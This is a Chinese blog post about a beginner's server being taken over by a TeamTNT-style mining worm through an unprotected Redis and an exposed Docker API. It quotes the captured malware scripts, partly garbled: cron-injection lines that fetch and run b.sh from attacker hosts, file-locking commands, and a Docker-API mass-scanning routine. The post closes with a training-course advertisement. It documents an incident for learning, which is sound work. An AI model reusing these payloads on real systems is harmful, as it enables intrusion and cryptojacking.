小白被挖矿木马整emo的一天

今天在打开服务器准备进入docker中的mysql测试sqlmode时,突然发现进不去mysql,然后我一看,mysql挂了,不止mysql,其他应用也全挂了。

我一看,cpu100%,网上查找:kswapd0占用过高是因为 物理内存不足,使用swap分区与内存换页操作交换数据,导致CPU占用过高。(后来我才领悟,原来这根本不是kswapd0,而是木马程序伪装的[kswapd0],专门骗我这种小白)

可以看到2394这个进程占用cpu最多,于是我看了很久没查出什么问题,于是直接kill 2349

cpu降下来了。。。

可是我又发现还有一个进程9951 pnscan占用比较高,老规矩,打开百度搜一搜

好家伙,还没输完,百度就已经提示我pnscan木马了 于是我意识到服务器被病毒入侵了,立马去找杀毒方案 通过网络搜索,我大概知道是从redis入侵的了 查看刚刚的pnscan进程信息:

看到了熟悉的6379 ,确认从redis入侵无疑了,想起我的redis只是测试使用,所以没有设置密码。

发现pnscan相关进程,全部kill,然后根据上图中的路径删除/usr/local/bin目录下的pnscan脚本

rm -rfpnscan 

当我删完,我以为就应该没事了,结果cpu还是占用很高

找了很多方法,还是无法解决

于是我无意间使用 netstat -ant命令查看了一下网络连接状态

不查不知道,一查吓一跳

2375 ,好熟悉的端口,这不是我前天为了远程连接docker部署项目打开的吗。

一时间我悟了,原来病毒不止一个。

知己知彼百战不殆,于是我就去找到了这篇博文Docker暴露2375端口导致服务器被攻击解决方法!

只需要通过以下命令就可以操作你的docker

docker -H tcp://服务器ip:2375 docker命令 

docker官网:

Warning: Changing the default docker daemon binding to a TCP port or Unix docker user group will increase your security risks by allowing non-root users to gain root access on the host. Make sure you control access to docker. If you are binding to a TCP port, anyone with access to that port has full Docker access; so it is not advisable on an open network.

告知了可能会被入侵。

解决办法:目前我先关掉了2375端口远程连接

我是通过修改vim /lib/systemd/system/docker.service

下图是我添加的,把它删掉

然后执行

systemctl daemon-reload 
```接着继续看\[scan\]进程

ps -ef |grep scan


<img src="https://p9-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/ab73ccb9604844ffbe9564d960ed97bd~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image?" style="margin: auto" />

进入`/usr/share`目录,发现两个可疑的程序,为啥要这么明显?

<img src="https://p1-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/0b443bf3911a438e8c1c16dcf1de5ab2~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image?" style="margin: auto" />

好奇心让我想看看这shell里面写的啥

\[scan\] 截取部分

#!/bin/bash
setenforce 0 2>/dev/null
ulimit -u 50000
sleep 1
iptables -I INPUT 1 -p tcp --dport 6379 -j DROP 2>/dev/null
iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT 2>/dev/null
function SecureTheSystem(){
SYSFILEARRAY=(pstree kill pkill htop netstat ss lsofwget wge wdl curl cur cdl sysctl )
for SYSFILE in ${SYSFILEARRAY[@]}; do
SYSFILEBIN=which $SYSFILE 2>/dev/null 1>/dev/null
tntrecht -i $SYSFILEBIN 2>/dev/null 1>/dev/null
chattr -i $SYSFILEBIN 2>/dev/null 1>/dev/null
chmod -x $SYSFILEBIN 2>/dev/null 1>/dev/null
chattr +i $SYSFILEBIN 2>/dev/null 1>/dev/null
tntrecht +i $SYSFILEBIN 2>/dev/null 1>/dev/null
done
SYSTEMFILEARRAY=(“/root/.ssh/” “/home//.ssh/" “/etc/passwd” “/etc/shadow” “/etc/sudoers” “/etc/ssh/” “/etc/ssh/sshd_config”)
for SYSTEMFILE in ${SYSTEMFILEARRAY[@]}; do
tntrecht +i -R $SYSTEMFILE2>/dev/null 1>/dev/null
chattr +i -R $SYSTEMFILE2>/dev/null 1>/dev/null
done
}
sleep 1if [ -f “/bin/ps.original” ]thenps.original -fe|grep pnscan |grep -v grepelseps -fe|grep pnscan |grep -v grepfi
if [ $? -ne 0 ]
thenrm -rf .dat .shard .ranges .lan 2>/dev/nullsleep 1echo ‘config set dbfilename “backup.db”’ > .datecho ‘save’ >> .datecho ‘config set stop-writes-on-bgsave-error no’ >> .datecho ‘flushall’ >> .datecho 'set backup1 "\n\n\n
/2 * * * * cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | sh\n\n”’ >> .datecho ‘set backup2 “\n\n\n*/3 * * * * wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh | sh\n\n”’ >> .datecho ‘set backup3 “\n\n\n*/4 * * * * curl -fsSL http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh\n\n”’ >> .datecho ‘set backup4 “\n\n\n*/5 * * * * wd1 -q -O- http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh\n\n”’ >> .datecho ‘config set dir “/var/spool/cron/”’ >> .datecho ‘config set dbfilename “root”’ >> .datecho ‘save’ >> .datecho ‘config set dir “/var/spool/cron/crontabs”’ >> .datecho ‘save’ >> .datecho ‘flushall’ >> .datecho ‘set backup1 “\n\n\n*/2 * * * * root cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | sh\n\n”’ >> .datecho ‘set backup2 “\n\n\n*/3 * * * * root wget -q -O- http://oracle.zzhreceive.top/b2f628/b.sh | sh\n\n”’ >> .datecho ‘set backup3 “\n\n\n*/4 * * * * root curl -fsSL http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh\n\n”’ >> .datecho ‘set backup4 “\n\n\n*/5 * * * * root wd1 -q -O- http://oracle.zzhreceive.top/b2f628fff19fda999999999/b.sh | sh\n\n”’ >> .datecho ‘config set dir “/etc/cron.d/”’ >> .datecho ‘config set dbfilename “zzh”’ >> .datecho ‘save’ >> .datecho ‘config set dir “/etc/”’ >> .datecho ‘config set dbfilename “crontab”’ >> .datecho ‘save’ >> .datsleep 1pnx=pnscan[ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan[ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscanwhile true; do


\[mass\] 截取部分

#!/bin/bash
if [ -f /bin/cd1 ];then
aabb=/bin/cd1
echo “cd1 exist”
elif [ -f /bin/curl ];then
aabb=/bin/curl
echo “curl exist”
else
echo “curl not exist,use yum reinstall”
yum -y remove curl&&yum -y install curl
fi

chmod +x /usr/bin/zgrab

dAPIpwn(){
range=$1
port=$2
rate= 3 r n d s t r = 3 rndstr= 3rndstr=(head /dev/urandom | tr -dc a-z | head -c 6 ; echo ‘’)
eval “ r n d s t r " = " ′ rndstr"="' rndstr"="(masscan r a n g e − p range -p rangepport --rate=$rate | awk ‘{print $6}’| zgrab --senders 200 --port $port --http=‘/v1.16/version’ --output-file=- 2>/dev/null | grep -E ‘ApiVersion|client version 1.16’ | jq -r .ip)'”;

for ipaddy in ${!rndstr}
do

TARGET= i p a d d y : ipaddy: ipaddy:port

echo ‘##################################################’
a a b b − s L k h t t p : / / 107..3.150 / i n p u t / d a . p h p ? v u l n = aabb -sLk http://107..3.150/input/da.php?vuln= aabbsLkhttp://107..3.150/input/da.php?vuln=TARGET -o /dev/null
echo $TARGET

timeout -s SIGKILL 240 docker -H $TARGET run --rm -v /:/mnt alpine chroot /mnt/ /bin/sh -c “if /etc/crontab && echo “* * * * * root curl https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=http%3A%2F%2F107.189.3.150%2Fb2f628%2Fcronb.sh%7Cbash%5C&pos_id=img-037OhEqm-1703680463969)”>/etc/cron.d/zzh” style=“margin: auto” />

done
}


额,看不太懂,可以看到的是对我的redis 6379和2375,2376端口都进行了入侵

既然已经备份下来了(后期再分析分析,知己知彼百战不殆嘛),那么就无情rm -rf 了

然后我top

发现有一个进程masscan,无论我怎样kill还是会重启

于是我查看定时任务`cd /var/spool/cron/` ,找到了原因

<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/ba32eaeedf2a404a86d03ecbee7f822c~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image?" style="margin: auto" />

话不多说,记录下来之后`rm -rf root`

好家伙,还是又重启了

<img src="https://p6-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/a49f6d3574eb44ffa98f8394495dd844~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image?" style="margin: auto" />

经过一段时间查询,搜索,我发现病毒进程不止masscan

最后我找到了关于该挖矿木马的相关文章:[腾讯安全截获TeamTNT挖矿木马最新变种,失陷主机被安装IRC后门,攻击者可以实现任意目的](https://link.juejin.cn/?target=https%3A%2F%2Fs.tencent.com%2Fresearch%2Freport%2F1226.html "https://s.tencent.com/research/report/1226.html")

利用Docker remote api未授权访问漏洞攻击,再利用ssh攻击传播,再安装IRC后门,文章提到的利用masscan,zgrab对外扫描占用宽带在上图中可以体现。

<img src="https://p9-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/84099de03c9443d787d3a44ba9360d7f~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image?)接下来卸载massage ,zgrab,但是当我想要卸载时,发现yum也被破坏" style="margin: auto" />

<img src="https://p1-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/49861d3e87de40f6bd0e2adec0aea9f8~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image?" style="margin: auto" />

当我尝试修改yum的内容时,告诉我文件只读,然后我修改权限,发现没法修改权限

<img src="https://p1-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/7a22ba64ad194bf5916348986daf1cb3~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image?" style="margin: auto" />

执行`ls -l yum`

—xr-xr-x. 1 root root 801 11月5 2018 yum


一番百度后:`chattr -i yum`,再修改yum文件权限,好使了

修改一下yum解释器

<img src="https://p1-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/86856b2d118a4651978530acf688f889~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image?" style="margin: auto" />

我使用find命令查找masscan `find -name masscan`,发现bin目录下的可执行文件,直接删除

<img src="https://p9-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/5e2e16529f4a455aaec8040ba86dbeb2~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image?" style="margin: auto" />

好家伙,我要哭了,\[mass\]又出现了,此刻我又发现了一个比较可疑的进程`systemd-journal`,搜索一下,好家伙,和`systemd-journald`就差一个字母,这玩意儿绝对是木马进程。

<img src="https://p9-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/2a735441e785406aa7ef8b6857e25f5f~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image?" style="margin: auto" />

捣鼓了一段时间,还是无法彻底解决。然后我`kill`掉这个进程,没了,接下来我就观察一下进程的变化,观察了很久都没有出现\[mass\],但docker容器已经被破坏了。

最后我重置了服务器,更换了Debian系统。

好像是没木马了一样,但是我的环境已经被破坏了,太难受了,系统安全真的很重要,我偶尔会听到朋友(这个朋友就是我)说数据库被黑,被勒索,系统被挖矿,其实这些都是可以避免的,在往后的学习工作中一定会更加注重系统安全,后续也会就该漏洞和病毒进一步学习研究,学习规避方案。

本次服务器被入侵的原因主要是因为redis没有设置密码和docker开启remote api之后没有进行相关验证,不法分子利用程序漏洞进行了攻击,虽然只是学习环境,但以后还是要加强一下安全方面的处理。

附上阿里云漏洞库链接:[Docker daemon API 未授权访问漏洞](https://link.juejin.cn/?target=https%3A%2F%2Favd.aliyun.com%2Fdetail%2FAVD-2021-346121%3Fspm%3D5176.12809143.sas.15.17be39470w6ads "https://avd.aliyun.com/detail/AVD-2021-346121?spm=5176.12809143.sas.15.17be39470w6ads")

不过换个角度,我觉得自己又学到了很多知识,增长了经验,再重新搭一遍环境也正好可以巩固一下知识,欢迎大家评论留下宝贵的经验建议。**学习网络安全技术的方法无非三种:**

第一种是报网络安全专业,现在叫网络空间安全专业,主要专业课程:程序设计、计算机组成原理原理、数据结构、操作系统原理、数据库系统、 计算机网络、人工智能、自然语言处理、社会计算、网络安全法律法规、网络安全、内容安全、数字取证、机器学习,多媒体技术,信息检索、舆情分析等。

第二种是自学,就是在网上找资源、找教程,或者是想办法认识一-些大佬,抱紧大腿,不过这种方法很耗时间,而且学习没有规划,可能很长一段时间感觉自己没有进步,容易劝退。

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里**👉**[网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!](https://mp.weixin.qq.com/s/BWb9OzaB-gVGVpkm161PMw)

第三种就是去找培训。

![image.png](https://img-blog.csdnimg.cn/img_convert/58bec76876e81d23709a090231e9e0bf.png)

接下来,我会教你零基础入门快速入门上手网络安全。

网络安全入门到底是先学编程还是先学计算机基础?这是一个争议比较大的问题,有的人会建议先学编程,而有的人会建议先学计算机基础,其实这都是要学的。而且这些对学习网络安全来说非常重要。但是对于完全零基础的人来说又或者急于转行的人来说,学习编程或者计算机基础对他们来说都有一定的难度,并且花费时间太长。

### 第一阶段:基础准备 4周~6周

这个阶段是所有准备进入安全行业必学的部分,俗话说:基础不劳,地动山摇  
![image.png](https://img-blog.csdnimg.cn/img_convert/44dd65e103a3ce90b8500717e19b108d.png)

### 第二阶段:web渗透

**学习基础 时间:1周 ~ 2周:**

① 了解基本概念:(SQL注入、XSS、上传、CSRF、一句话木马、等)为之后的WEB渗透测试打下基础。  
② 查看一些论坛的一些Web渗透,学一学案例的思路,每一个站点都不一样,所以思路是主要的。  
③ 学会提问的艺术,如果遇到不懂得要善于提问。  
![image.png](https://img-blog.csdnimg.cn/img_convert/442b7a338582713846cc447ecff221bd.png)

**配置渗透环境 时间:3周 ~ 4周:**

① 了解渗透测试常用的工具,例如(AWVS、SQLMAP、NMAP、BURP、中国菜刀等)。  
② 下载这些工具无后门版本并且安装到计算机上。  
③ 了解这些工具的使用场景,懂得基本的使用,推荐在Google上查找。

### **渗透实战操作 时间:约6周:**

① 在网上搜索渗透实战案例,深入了解SQL注入、文件上传、解析漏洞等在实战中的使用。  
② 自己搭建漏洞环境测试,推荐DWVA,SQLi-labs,Upload-labs,bWAPP。  
③ 懂得渗透测试的阶段,每一个阶段需要做那些动作:例如PTES渗透测试执行标准。  
④ 深入研究手工SQL注入,寻找绕过waf的方法,制作自己的脚本。  
⑤ 研究文件上传的原理,如何进行截断、双重后缀欺骗(IIS、PHP)、解析漏洞利用(IIS、Nignix、Apache)等,参照:上传攻击框架。  
⑥ 了解XSS形成原理和种类,在DWVA中进行实践,使用一个含有XSS漏洞的cms,安装安全狗等进行测试。  
⑦ 了解一句话木马,并尝试编写过狗一句话。  
⑧ 研究在Windows和Linux下的提升权限,Google关键词:提权  
![image.png](https://img-blog.csdnimg.cn/img_convert/820f500673a4a0a2432e6c3d7e2ba80e.png)  
以上就是入门阶段

### 第三阶段:进阶

已经入门并且找到工作之后又该怎么进阶?详情看下图  
![image.png](https://img-blog.csdnimg.cn/img_convert/b28d31c9a3414e91ec46eb307d360eab.png)

给新手小白的入门建议:
新手入门学习最好还是从视频入手进行学习,视频的浅显易懂相比起晦涩的文字而言更容易吸收,这里我给大家准备了一套网络安全从入门到精通的视频学习资料包免费领取哦!

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里**👉**[网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!](https://mp.weixin.qq.com/s/BWb9OzaB-gVGVpkm161PMw)

<img src="https://hnxx.oss-cn-shanghai.aliyuncs.com/official/1678694737820.png?t=0.6334725112165747" />

![](https://img-blog.csdnimg.cn/3e9a39bf040d46da93e80689b407bb25.png)
  • 21
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值